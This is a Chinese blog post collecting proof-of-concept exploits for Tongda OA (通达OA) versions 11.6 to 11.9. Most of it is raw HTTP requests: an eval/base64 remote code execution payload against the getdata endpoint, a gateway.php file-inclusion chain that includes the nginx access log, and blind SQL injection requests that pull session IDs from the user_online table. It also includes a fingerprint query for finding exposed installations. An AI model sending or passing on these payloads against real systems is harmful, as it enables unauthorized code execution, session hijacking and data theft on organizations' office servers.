【通达OA】POC 探索

文章目录
  1. 1. POC
    1. 1.1. 通达OA任意文件删除&文件上传RCE分析(2020年hw 8月0day)
    2. 1.2. getdata-RCE
    3. 1.3. getway-RFI
    4. 1.4. insert-sli
概述

通达OA 相关POC探索

[toc]

相关信息说明:

  • 语言: PHP
  • 环境: Windows Server

PHP 漏洞

POC

相关链接

通达OA任意文件删除&文件上传RCE分析(2020年hw 8月0day)

相关链接

影响范围

通达OA V11.6

漏洞简介

通过任意文件漏洞删除上传点包含的身份验证文件,从而造成未授权访问实现任意文件上传

getdata-RCE

漏洞说明

远程执行漏洞

POC

1
2
3
GET /general/appbuilder/web/portal/gateway/getdata?activeTab=%E5%27%19,1%3D%3Eeval(base64_decode(%22ZWNobyBtZDUoOTk5OTk5OTk5KTs=%22)))%3B/*&id=19&module=Carouselimage HTTP/1.1
Host: 192.168.19.137
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

影响范围

TDOA 11.9

getway-RFI

Note

远程文件包含(RFI,Remote File Inclusion) 是一种高危的 Web 安全漏洞,允许攻击者通过控制动态包含的文件路径,加载远程服务器上的恶意脚本,从而实现远程代码执行(RCE)或部署后门。

POC

  1. Step1

    1
    2
    3
    4
    5
    6
    POST /ispirit/interface/gateway.php HTTP/1.1
    Host: 192.168.19.137
    Content-Type: application/x-www-form-urlencoded
    Accept-Encoding: gzip

    json={"url":"/general/../../nginx/logs/oa.access.log"}
  2. Step2

    1
    2
    3
    4
    5
    6
    7
    POST /mac/gateway.php HTTP/1.1
    Host: 192.168.19.137
    Content-Length: 54
    Content-Type: application/x-www-form-urlencoded
    Accept-Encoding: gzip

    json={"url":"/general/../../nginx/logs/oa.access.log"}

insert-sli

漏洞描述
通达OA v11.6 insert参数包含SQL注入漏洞,攻击者通过漏洞可获取数据库敏感信息

漏洞影响
通达OA v11.6

网络测绘
app=“TDXK-通达OA”

poc

  1. Step1

    发送请求包判断漏洞

    1
    2
    3
    4
    5
    6
    7
    8
    POST /general/document/index.php/recv/register/insert HTTP/1.1
    Host:
    User-Agent: Go-http-client/1.1
    Content-Length: 77
    Content-Type: application/x-www-form-urlencoded
    Accept-Encoding: gzip

    title)values("'"^exp(if(ascii(substr(MOD(5,2),1,1))<128,1,710)))# =1&_SERVER=

    返回302则是存在漏洞,返回500则不存在

  2. Step2

    确认存在漏洞后,再通过SQL注入获取 SessionID进一步攻击

    1
    2
    3
    4
    5
    6
    7
    8
    POST /general/document/index.php/recv/register/insert HTTP/1.1
    Host:
    User-Agent: Go-http-client/1.1
    Content-Length: 122
    Content-Type: application/x-www-form-urlencoded
    Accept-Encoding: gzip

    title)values("'"^exp(if(ascii(substr((select/**/SID/**/from/**/user_online/**/limit/**/0,1),8,1))<66,1,710)))# =1&_SERVER=